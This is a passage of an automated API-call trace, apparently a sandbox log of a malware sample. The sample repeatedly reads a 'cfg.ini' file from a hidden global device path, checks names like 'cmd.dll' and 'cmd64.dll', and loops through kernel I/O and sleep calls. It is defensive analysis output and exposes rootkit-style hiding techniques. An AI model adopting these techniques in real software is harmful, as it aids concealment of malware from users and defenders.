FastMutex=0xfffffa80027d3898) [0125.986] KeLeaveCriticalRegion () [0125.986] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.986] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.986] KeEnterCriticalRegion () [0125.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.986] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.986] KeLeaveCriticalRegion () [0125.986] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.986] KeEnterCriticalRegion () [0125.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.986] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.987] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037dc3a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.987] KeLeaveCriticalRegion () [0125.987] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.987] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.987] KeEnterCriticalRegion () [0125.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.987] ExFreePoolWithTag (P=0xfffffa8003713810, Tag=0x0) [0125.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.987] KeLeaveCriticalRegion () [0125.987] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.987] ReleaseMutex (hMutex=0xf0) returned 1 [0125.987] Sleep (dwMilliseconds=0x124f80) [0126.001] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.001] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.001] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.001] KeEnterCriticalRegion () [0126.001] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.001] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.001] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.001] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.001] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.001] IdePortDispatch () returned 0x103 [0126.001] KeWaitForMutexObject () returned 0x0 [0126.002] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.002] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.002] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.002] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.002] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.002] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ec580 [0126.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.002] KeLeaveCriticalRegion () [0126.002] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.002] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.002] KeEnterCriticalRegion () [0126.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.002] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.002] KeLeaveCriticalRegion () [0126.002] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.002] KeEnterCriticalRegion () [0126.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.002] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.002] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.002] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.002] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.002] IdePortDispatch () returned 0x103 [0126.002] KeWaitForMutexObject () returned 0x0 [0126.002] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.002] KeLeaveCriticalRegion () [0126.002] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.002] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.002] KeEnterCriticalRegion () [0126.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.002] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d86000 [0126.002] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.002] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.002] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.002] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.002] IdePortDispatch () returned 0x103 [0126.003] KeWaitForMutexObject () returned 0x0 [0126.003] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.003] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.003] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.003] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.003] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.003] IdePortDispatch () returned 0x103 [0126.003] KeWaitForMutexObject () returned 0x0 [0126.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.003] KeLeaveCriticalRegion () [0126.003] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.003] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.004] KeEnterCriticalRegion () [0126.004] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.004] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.004] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.004] KeLeaveCriticalRegion () [0126.004] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.004] KeEnterCriticalRegion () [0126.004] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.004] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.004] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037dc3a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.004] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.004] KeLeaveCriticalRegion () [0126.004] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.004] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.004] KeEnterCriticalRegion () [0126.004] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.004] ExFreePoolWithTag (P=0xfffffa80037ec580, Tag=0x0) [0126.004] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.004] KeLeaveCriticalRegion () [0126.004] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.004] ReleaseMutex (hMutex=0xf0) returned 1 [0126.004] Sleep (dwMilliseconds=0x124f80) [0126.015] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.021] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.021] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.021] KeEnterCriticalRegion () [0126.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.021] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.021] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.021] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.021] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.021] IdePortDispatch () returned 0x103 [0126.021] KeWaitForMutexObject () returned 0x0 [0126.021] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.021] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.021] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.021] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.021] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.021] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ec580 [0126.021] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.021] KeLeaveCriticalRegion () [0126.021] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.022] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.022] KeEnterCriticalRegion () [0126.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.022] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.022] KeLeaveCriticalRegion () [0126.022] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.022] KeEnterCriticalRegion () [0126.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.022] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.022] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.022] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.022] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.022] IdePortDispatch () returned 0x103 [0126.022] KeWaitForMutexObject () returned 0x0 [0126.022] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.022] KeLeaveCriticalRegion () [0126.022] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.022] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.022] KeEnterCriticalRegion () [0126.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.022] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dbb000 [0126.022] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.022] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.022] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.022] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.022] IdePortDispatch () returned 0x103 [0126.022] KeWaitForMutexObject () returned 0x0 [0126.023] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.023] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.023] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.023] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.023] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.023] IdePortDispatch () returned 0x103 [0126.023] KeWaitForMutexObject () returned 0x0 [0126.023] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.023] KeLeaveCriticalRegion () [0126.023] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.023] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.023] KeEnterCriticalRegion () [0126.023] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.023] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.023] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.023] KeLeaveCriticalRegion () [0126.023] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.023] KeEnterCriticalRegion () [0126.023] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.024] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.024] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037dc3a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.024] KeLeaveCriticalRegion () [0126.024] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.024] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.024] KeEnterCriticalRegion () [0126.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.024] ExFreePoolWithTag (P=0xfffffa80037ec580, Tag=0x0) [0126.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.024] KeLeaveCriticalRegion () [0126.024] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.024] ReleaseMutex (hMutex=0xf0) returned 1 [0126.024] Sleep (dwMilliseconds=0x124f80) [0126.037] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.037] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.038] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.038] KeEnterCriticalRegion () [0126.038] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.038] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.038] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.038] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.038] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.038] IdePortDispatch () returned 0x103 [0126.038] KeWaitForMutexObject () returned 0x0 [0126.038] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.038] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.038] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.038] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.038] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.038] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8006494390 [0126.038] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.038] KeLeaveCriticalRegion () [0126.038] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.038] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.038] KeEnterCriticalRegion () [0126.038] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.038] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.038] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.038] KeLeaveCriticalRegion () [0126.038] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.038] KeEnterCriticalRegion () [0126.038] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.038] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.038] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.038] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.038] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.038] IdePortDispatch () returned 0x103 [0126.038] KeWaitForMutexObject () returned 0x0 [0126.039] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.039] KeLeaveCriticalRegion () [0126.039] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.039] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.039] KeEnterCriticalRegion () [0126.039] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.039] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002de2000 [0126.039] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.039] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.039] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.039] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.039] IdePortDispatch () returned 0x103 [0126.039] KeWaitForMutexObject () returned 0x0 [0126.039] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.039] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.039] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.039] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.039] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.039] IdePortDispatch () returned 0x103 [0126.039] KeWaitForMutexObject () returned 0x0 [0126.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.039] KeLeaveCriticalRegion () [0126.039] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.040] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.040] KeEnterCriticalRegion () [0126.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.040] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.040] KeLeaveCriticalRegion () [0126.040] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.040] KeEnterCriticalRegion () [0126.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.040] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.040] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac65e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.040] KeLeaveCriticalRegion () [0126.040] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.040] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.040] KeEnterCriticalRegion () [0126.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.040] ExFreePoolWithTag (P=0xfffffa8006494390, Tag=0x0) [0126.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.040] KeLeaveCriticalRegion () [0126.040] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.040] ReleaseMutex (hMutex=0xf0) returned 1 [0126.040] Sleep (dwMilliseconds=0x124f80) [0126.054] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.054] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.054] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.054] KeEnterCriticalRegion () [0126.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.054] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.054] IoAllocateMdl (in: 